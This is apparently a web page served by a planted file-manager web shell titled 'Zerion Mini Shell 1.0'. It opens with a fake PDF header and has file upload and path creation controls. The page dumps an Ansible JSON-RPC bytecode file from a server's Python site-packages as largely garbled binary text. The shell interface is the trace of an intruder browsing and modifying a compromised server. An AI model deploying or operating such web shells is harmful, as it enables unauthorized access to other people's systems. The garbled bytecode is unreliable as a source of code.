%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/utils/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/utils/__pycache__/jsonrpc.cpython-39.opt-1.pyc

a

�)g��@s~ddlmZmZmZeZddlZddlZddlZddl	m
Z
ddlmZddl
mZmZddlmZe�ZGdd�de�ZdS)	�)�absolute_import�division�print_functionN)�to_text)�ConnectionError)�binary_type�	text_type)�Displayc@speZdZe�Zdd�Zdd�Zdd�Zddd	�Zdd
d�Z	ddd
�Z
ddd�Zddd�Zddd�Z
ddd�ZdS)�
JsonRpcServercCst�t|dd��}|�d�}|�d�s0|�d�rB|��}t�|�S|�d�\}}t|d|�d��d}|jD]}t	||d�}|rlq�ql|s�|�
�}t�|�}�nhz||i|��}	Wn�t�y.}
zbt�
t���z|j|
jt|
�d	�}Wn$t�y|jt|
�d
�}Yn0t�|�}WYd}
~
n�d}
~
0t�y~}
z8t�
t���|jt|
dd�d
�}t�|�}WYd}
~
n�d}
~
00t|	t��r�d|	v�r�|	}n
|�|	�}zt�|�}WnRt�y}
z8t�
t���|jt|
dd�d
�}t�|�}WYd}
~
n
d}
~
00t|d�|S)NZsurrogate_then_replace)�errors�methodzrpc.�_�params�_identifier�id��code�message)�data�jsonrpc)�json�loadsr�get�
startswith�invalid_request�dumps�setattr�_objects�getattr�method_not_foundr�displayZvvv�	traceback�
format_exc�errorr�AttributeError�internal_error�	Exception�
isinstance�dict�response�delattr)�selfZrequestrr#�args�kwargsZ
rpc_method�objr)�result�exc�r1�9/usr/lib/python3.9/site-packages/ansible/utils/jsonrpc.py�handle_requestsN


 
 
zJsonRpcServer.handle_requestcCs|j�|�dS)N)r�add)r+r.r1r1r2�registerKszJsonRpcServer.registercCsd|jd�S)Nz2.0)rr)r)r+r1r1r2�headerNszJsonRpcServer.headerNcCsJ|��}t|t�rt|�}t|t�s>d|d<ttj|dd��}||d<|S)N�pickleZresult_typer)Zprotocolr/)r6r'rrrr7r)r+r/r)r1r1r2r)Qs

zJsonRpcServer.responsecCs*|��}||d�}|r||d<||d<|S)Nrrr#)r6)r+rrrr)r#r1r1r2r#[s
zJsonRpcServer.errorcCs|�dd|�S)NiD���zParse error�r#�r+rr1r1r2�parse_errordszJsonRpcServer.parse_errorcCs|�dd|�S)Ni����zMethod not foundr8r9r1r1r2rgszJsonRpcServer.method_not_foundcCs|�dd|�S)Ni����zInvalid requestr8r9r1r1r2rjszJsonRpcServer.invalid_requestcCs|�dd|�S)Ni����zInvalid paramsr8r9r1r1r2�invalid_paramsmszJsonRpcServer.invalid_paramscCs|�dd|�S)Ni����zInternal errorr8r9r1r1r2r%pszJsonRpcServer.internal_error)N)N)N)N)N)N)N)�__name__�
__module__�__qualname__�setrr3r5r6r)r#r:rrr;r%r1r1r1r2r
s4


	



r
)Z
__future__rrr�typeZ
__metaclass__rr7r!Zansible.module_utils._textrZansible.module_utils.connectionrZansible.module_utils.sixrrZansible.utils.displayr	r �objectr
r1r1r1r2�<module>s

Zerion Mini Shell 1.0